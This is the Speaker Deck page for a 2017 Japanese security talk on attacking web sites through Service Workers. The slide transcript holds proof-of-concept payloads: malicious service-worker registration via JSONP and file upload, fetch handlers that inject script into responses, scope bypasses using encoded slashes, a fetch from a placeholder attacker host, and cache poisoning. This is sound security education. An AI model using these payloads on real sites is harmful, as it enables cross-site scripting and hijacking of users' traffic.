Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者視点で見る Service Worker / PWA Study SW
Search
Masato Kinugawa
September 14, 2017
Technology
20
26k
攻撃者視点で見る Service Worker / PWA Study SW
PWA Study(
https://web-study.connpass.com/event/65267/
) で発表した資料です。
Masato Kinugawa
September 14, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.4k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.1k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
19k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
21k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
21
6.8k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
98k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
masatokinugawa
9
25k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
masatokinugawa
18
12k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
masatokinugawa
35
20k
Other Decks in Technology
See All in Technology
インフラをつくるとはどういうことなのか、 あるいはPlatform Engineeringについて
nwiizo
5
2.1k
MC906491 を見据えた Microsoft Entra Connect アップグレード対応
tamaiyutaro
1
480
家電アプリ共通PF "Linova" のAPI利用とPostman活用事例ご紹介
yukiogawa
0
130
スタートアップ1人目QAエンジニアが QAチームを立ち上げ、“個”からチーム、 そして“組織”に成長するまで / How to set up QA team at reiwatravel
mii3king
1
1.1k
バックエンドエンジニアのためのフロントエンド入門 #devsumiC
panda_program
16
6.5k
Culture Deck
optfit
0
330
偶然 × 行動で人生の可能性を広げよう / Serendipity × Action: Discover Your Possibilities
ar_tama
1
740
Data-centric AI入門第6章:Data-centric AIの実践例
x_ttyszk
1
370
Datadog APM におけるトレース収集の流れ及び Retention Filters のはなし / datadog-apm-trace-retention-filters
k6s4i53rx
0
320
目の前の仕事と向き合うことで成長できる - 仕事とスキルを広げる / Every little bit counts
soudai
22
5.8k
All you need to know about InnoDB Primary Keys
lefred
0
120
日経電子版 x AIエージェントの可能性とAgentic RAGによって提案書生成を行う技術
masahiro_nishimi
1
290
Featured
See All Featured
Agile that works and the tools we love
rasmusluckow
328
21k
What’s in a name? Adding method to the madness
productmarketing
PRO
22
3.3k
Documentation Writing (for coders)
carmenintech
67
4.6k
Rebuilding a faster, lazier Slack
samanthasiow
79
8.8k
The Art of Programming - Codeland 2020
erikaheidi
53
13k
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
10
1.3k
The Pragmatic Product Professional
lauravandoore
32
6.4k
What's in a price? How to price your products and services
michaelherold
244
12k
We Have a Design System, Now What?
morganepeng
51
7.4k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
175
51k
Making Projects Easy
brettharned
116
6k
Why Our Code Smells
bkeepers
PRO
335
57k
Transcript
None
None
• •
• • • <script> navigator.serviceWorker.register("/sw.js") </script>
• • •
• • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
None
HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});
<script> navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); </script> HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...]
onfetch=event=>console.log('fetch')//({});
<script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw
= "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
• •
• • onfetch=e=>{ body = '<script>alert(1)</script>'; init = {headers: {'content-type':
'text/html'}}; e.respondWith(new Response(body,init)); }
• • • <script> navigator.serviceWorker.register("/sw.js", {scope: "/"}) </script>
• • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope:
"/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]
https://example.com/api/jsonp https://example.com/api%2Fjsonp
❝ ❞
https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F
None
• • •
onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="example.jp" /> </cross-domain-policy> https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
❝ ❞
<script src="//example.com/socialbutton.js"></script>
self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// });
}); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
• •
onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response)
{ if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
<script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}};
request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
<script> document.write(localStorage.getItem('name')); </script>
• • •
• • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"
GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control:
no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6
• •
None
None